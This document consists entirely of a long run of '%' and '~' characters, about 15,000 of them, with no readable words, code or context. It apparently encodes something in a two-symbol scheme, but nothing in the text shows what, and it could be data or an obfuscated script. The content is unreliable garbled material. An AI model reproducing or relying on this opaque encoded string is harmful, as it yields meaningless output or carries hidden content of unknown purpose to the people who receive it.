%%%~%%~%%%~~~%~~~%~~~%~%%~~~~%~~~%~~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~%~~%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%%~~~~%~~~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%~~%~~%%%~%%~%~%%~%%~%~%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~%%%~~%~~~~~%~%%%~~%%~%%%~~%%~%%~~%~%~%%~%%~%~%%~~~%~~%%~%%~~~%%%%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~%~~~~~%~~~%~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%~%~%%~~~~%~%%~%%%~~%%~~~~%~%%~~%%%~%%~~%~%~%%~%%~%~%%~~%~%~%%~%%%~~%%%~%~~~~%~%%%~~%~~~~~%~%%%~%~%~%%%~%~~~%%~%%%%~%%~%%~%~%%~~~~%~%%%~%~~~%%~%~~%~%%~%%%%~%%~%%%~~~%~%%%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%%~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~~~%%%~%%~~%~%~%%%~%~~~%~~~%%~~%%~%~~%~%%~~%~%~%%~%%~~~%%~~%~~~~%~%~~~~~%~~~%~~%%~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~%~~~~%%~%%~%%%%~%%~%%%~~%%%~%~~~%%~~%~%~%%%%~~~~%%%~%~~~~%~~~%~~~%~%%~~~~%~~~%~~%~~%%%~~%%~%%%%~%%~%%%~~%~%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~%%~~~%~%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~%~~~%~%~~%~~%~%%%~~%~%~~%%~%%~~%~%~%%%~%~~~%~%~%%~~%%~~~~%~%%~%%~~~%%%~%~%~%%~~%~%~~%~%~~~~~%~~%~~~%%~%%%~~%%%~%~%~%%~%%~~~%%~%%~~~~%~%%~~~~%~~~~~~%~%%~%%~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~%~%%%~%~~%~~%~~~%%~%%~%~%%~~%~%~%%~%%~%~~%~%~~%~~~~%~%~~~~~%~%~~~~~%~%~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~~%~~%%%~%~~~~%~%%~%~%%%~~%%~%%~%%~~~%%~~%~%~%%~~%~%~%%%~~~~~~%~~~~~~~%%~~~%~~%%~~%~~~~~%~%~~~%~~%~~~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~~%~~~~~~~%%%%~%~~%~~~~~~%~~~~~~~~%~~~%~~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%%%~%%~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%%%~%%~~~~%~%~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~~%%~%%~%%~~~%%~~~~%~%%%~~%%~%%%~~%%~~%~~~~~~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~~%~~~~~~%%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%~~~~%~~%%~%~%%~%%%%~%%~~%~~~%%%~%~%~%%~%%~~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%%~~~%~~%%~%%%%~%%~%%%%~%%~%%~~~~%~~~~~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%%~~~%%%~~~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~%~%~%~%~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~~%~~~%%%~%%%~%~%~~%%~%%~%~~%~%%%%~%~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~~%%~~%%~%%~~~%~~%%%~~%%~~%~%~%%%~%%%~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%%~~~~%~~~~~~%%~%%%%~%%%~%~%~%%%~%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~%%~~~%%%~~~~~%%~~%%~~%%~%%~~~%~~%%%%~%%~%%~~~%%~~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~%~~%%%~%%~~~~%~%~~%%%%%~%~~~~%~%~~~%~~~%~~%~~~~~~~~~~%~%~~~~~%~%~~%~~~~~%~%%~~%~~~%%~~%~~~~%~%%~%~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~~~~~~~%~~%~~~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~~~~%~%~~~~~%~%~~~%~~%~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~%~%%%~%~~%%%~%~~~%%%~%~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~~%~~~%~~%%~~~~%~%%~%%~%~~%~~~%~~~%~~~~~~~%~%~%%~~%~~~~~~~%~~~%~~%%%~~%%~%%~%~~%~~%~%%%~~%%~~%~~~%%~%%~~~%%~%%~~~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~~%~~%~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%%~~~~%~~~~~~~%~~~%~~%~~~~~%~%%~%%~%~%%%~~%%~%%~%~~%~~%~~~%~~~%~~~~~~~%~%~%%~~%~~~~~~~%~~~%~~%~%~~%%~%%~~~%%~%%~~~~%~%%~%%%~~~%~~~%~~~%~~~~~~~%~%~%%~~%~~~~~~~%~~~%~~%~~~~%~~%%%~%~%~%%~~%%~~%%~~%%~~%%~~%~%~%%%~~%~~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%%%~~~~~~%~~~~~~~%%%%~%~~%~~~~~~~%%~~~~~~~~%~%~~%~%%~%%~%~%~%%%~%%~%~~%~%%~%%%~~~%%~~%%~~%%~~%~~%~%%%~%~~%%%~%~~~%%%~%~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~~%~~%~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~%~%%~%%~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%%~~%%~~%%~~%~~%~%%%~%~~%%~%~%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~%~~~~%%~~~~~~%~%%~~~~%~~~~~~%~%%~%%~%%%~~%~~%%~~%~%~%%~~%%~~%~%%%~%~~%~~%~~~%%%~~~~~~%~%~~%~~~~%~%~~~%~~%~~~%~%~~~~~%%~~~~%~%%%~%~~~%%~~~%%~%%~%~~~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~~~~%~~%%%%~~%~%%%~%~~~%%~~%~%~%~%%~%%~%~%%%~%~%~%%%~%~~%~~~~~~~%~%~~~~~%%~~~~~%%%%~~~~%~~~~%~~~%%%~~~~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~%~%~~%%~%%%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%~~~~~~%%~%%%~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~~%%%~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%%~~~~~%%%%~~~~%~~~~%%~~%%~~%%~~%~%~~%~~~~%~%~~%~%%~%%~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%~%%%~~%~~%%~%~%%~~~~%~%%%~~%~~%%%~~%%~%%~%~~~~%%~~~~%~%%~%%~~~%~%%%~%~~%%%~%~~~%%%~%~~%~~~~%%~%%~%%%%~%%%~~~~~%%%%~~%~~%~%~~~~~%~~%~~~%~%~~~~~%%~~~~%~%%%~%~~~%%~~~%%~%%~%~~~~~%~%%~~~~%~~~~~~~%%~~~~~~%~%%~~~~%~~~~~~~%~~%~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~~%%~%%~~~%~%~~%~~~~%~%~~~~~%~%~~~~~%~%~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~~%~~%%%~%~~~~%~%%~%~%%%~~%%~%%~%%~~~%%~~%~%~%%~~%~%~%%%~~~~~~%~~~~~~~%%~%%%~~~~%~%~~~~~%~%~~~~~%~%~~~%~~%~~~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~~%~~~~~~~%%%%~%~~%~~~~~~%~~~~~~~~%~~~%~~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%%%~%%~~~~%~%~~%%%~%~%~%%%~~%%~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%~%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~%~~%~~%%%~%~%~%%~%%%~~%%%~%~~~%%~%~~%~%%~%%~%~%%~~%~%~~%~%%%~~%~~%~~%~%%~%%%~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%%~%%%~~~~~%~%~~%%~%%~~%~%~%%%~~%~~%%%~%%~~%%~%~~%~%%~~~%%~%%~~%~%~%%%~~%%~~%%%~%%~~~~%~%~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~~%%~%%~%%~~~%%~~~~%~%%%~~%%~%%%~~%%~~%~~~~~~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~~%~~~~~~%%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%~~~~%~~%%~%~%%~%%%%~%%~~%~~~%%%~%~%~%%~%%~~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~%%%~~%%~%%%~%~~~%%%~~%~~%%~%~~%~%%~%%%~~%%~~%%%~~%~~~~~~%%~%%%~~%%~~~~%~%%~%%~%~%%~~%~%~~%~%~~%~~%%%~%%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%~%%~%%~%~~~%~~~%%~%%~~~%%~%%~~~%~~%~~%~%%~%%~%~%%%~~~~~%%~%%%%~%%%~~%~~%%%~%~~~~%~%~~~~~%~~~%~~%%~%~%%~%%~~%~%~%%%~~%~~%%~%%%~~%%~~%~%~%%~%%~~~~%%~~%%~~%%~~%~~~%~~~%~~~%~%~~%~%~%%%~%~~~~%~%~~~%~~~~~~~%~~~~~~~%~~~~~~~%~~~~~~%%%~~~~~%%%~%~%~%%~~~%~~%%~%%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%%~~%%~%%%~%~~~%%~~~~%~%%%~%~~~%%~%~~%~%%~~~%%~~%~~~~~~%%~~%~%~%%%%~~~~%%%~%~~~%%~~%~%~%%%~~%~~%%~%%%~~~%~~~~~~%%~~~%~~%%~%%%%~%%~%%%%~%%~%%~~~~%~~~~~~%~%~%%~~%%~%~~%~%%%~~%~~%%%~%~~~%%%~%~%~%%~~~~%~%%~%%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~~~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~%%~~~%%%~~~~~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%%~~~~%~~~~~~%~%~%~%~%~~%~~%~%%~%%%~~%%%~%~~~%~%~~~~~%%%~%~~~%%%~~%~~~%~~~~~~%%~~%~~~%%%~%%%~%~%~~%%~%%~%~~%~%%%%~%~~%%~~%~%~~%~%%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~~%%~~%%~%%~~~%~~%%%~~%%~~%~%~%%%~%%%~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%%~~~~%~~~~~~%%~%%%%~%%%~%~%~%%%~%~~~~%~~~~~~%%%~%~%~%%~%~~%~%%~%%%~~%%%~%~~~~%~~~~~~%%~%%~~~%%%~~~~~%%~~%%~~%%~%%~~~%~~%%%%~%%~%%~~~%%~~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%%~%~~~%%~~%~%~%%~~~%%~%%%~%~~~~%~%~~%~~%%%~%%~~~~%~%~~%%%%%~%~~~~%~%~~~%~~~%~~%~~~~~~~~~~%~%~~~~~%~%~~%~~~~~%~%%~~%~~~%%~~%~~~~%~%%~%~%~%~%~~~%%%%~~%~%%%~~~~~%%~~%~%~~%~~~~~~~%~~%~~~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~~~~%~%~~~~~%~%~~~%~~%~~~%~~~~%~~%~~~~%~~%~%~%%%~%~~%~~~~%~%~%%~~%~%~%%%~%~%~~~%~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%%~~~%%~%%%%~%%~~~~%~%%~~%~~~%~~%%~~~%%~%~~%~%%~~~%~~%%%~~%~~%%~~~~%~%%%~~%~~%%%%~~%~~%~%~~~~~%~~~%~~~%~~%~~~~%~%~~~~%~%%~%%~%~%~~%%~%~%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%%~%%~%~~%~%%%~~%~~%%%~~%%~~%~%~%%%~%~~~~%~%%%~~%%%~%%%~%~~~%~%~%~~~~%~~%~%~%~%~%%%~%~~~%~~%~~%~%%~%%~~~%~~%~~%~%~%~%~~~%%%%~~%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%~~~~%~%~%~~~%%~%%~%~%%~%%~~~%%~~%~~~%%~~%~%~%%~~~%%~%%~%%%%~%~~~%~~~%~~~%~%~~%~%~~~~~%~~%%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%~%%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~~~~%%%~%%~~%~~%%%~~%~%~~%~~%~%~~%~~%~~~%~~~%~%~~%~~~~%~%~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~~%~~%~~~%~~~~%~~%~~~~%~~%~%~%%%~%~~%~~~~%~%~%%~~%~%~%%%~%~%~~~%~~%~%%~~~~%~~~~~~~%~~~%~~~%~~%~~~~%~%~~~~%~%%~%%~%%%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%~~%%~%~~%~%%%~~%%~%%%~~%%~~%~%~%~%~%~~~~%~%%%~~%%%~%%%~%%~~%~%~%%~~~%~~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%~%~~%~%%%~%~~~%%%%~~%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%~~~~%%%~%~~~%~~%%~%~%%~%%~~~%%~~%~~~%~~~%~%~%~~~~%%~%%~%%%%~%~~~%~~~%~~~%~%~~%~%~~~~~%~~%%%~~%~~%%~~~%~~~%%~~%%~%%~~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~%~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~~~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%%~~~%%~%%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~%~~%%~%~~~~%%%~%%~~%~~%%%~~%~%~~%~~%~%~~%~~%~~~%~~~%~%~~%~~~~%~%~~~%~~~%%~~%~~~~~~~%~~%~~~%~%%~~~~%~%~~~~~%~%%~~%~%~~%%~%~%~%~%%%~%~%~~%~~~%~~~~~~~%%%%~%~~%~~~~~~%~%%~%%~%~%%~%~~%~%~~~%~%~~~~%%~%~%~%~%~%~%~%%%~%~%%%~%~~%%%~%~~~%%%~%~~%~~~%%%~%%~~%~%~%%%~%~~~%~%~~~~~%%%~~%~~%%~%%%%~%%~~~%%~%~~~~~%~%%~~%~~~%%~~%~~~%%%~~%~~%%~~%~%~%%%~~%%~%%%~~%%~~%~%~~~~~%~~%~~~%~~~~%~~%~~~~%~~%~%~%%%~%~~%~~~~%~%~%%~~%~%~%%%~%~%~~~%~~%~%%~~~~%~~~~~~~%~~~%~~~%~~%~~~~%~%~~~~%~%%~%%~%%%~~%%~%%%%~~%~%%%~~%%~%%%~%~~~%%~~%~%~%~~%%~%~~%~%%%~~%%~%%%~~%%~~%~%~%~%~%~~~~%~%%%~~%%%~%%%~%%~~%~%~%%~~~%~~%~%~%~%~%%%~%~~~%%~%~~%~%%~%%~~~%%~%~~%~%%%~%~~~%%%%~~%~%~%%%~%~~%%%~%~~~%%%~%~~%~~%~~~~%%%~%~~~%~~%%~%~%%~%%~~~%%~~%~~~%~~~%~%~%~~~~%%~%%~%%%%~%~~~%~~~%~~~%~%~~%~%~~~~~%~~%%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%~%%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~~~~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~~~%~~%%~~%~~~%%~~%%~~%%%~%%~~%~~%%~~~%~~~%%~~%%%~~%~~%%%~~~~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~%~~%%~~~%~~%%%~%%~~%~~%%~~~%~~~%%~~%%~%~~~~%%%~~%~~%%%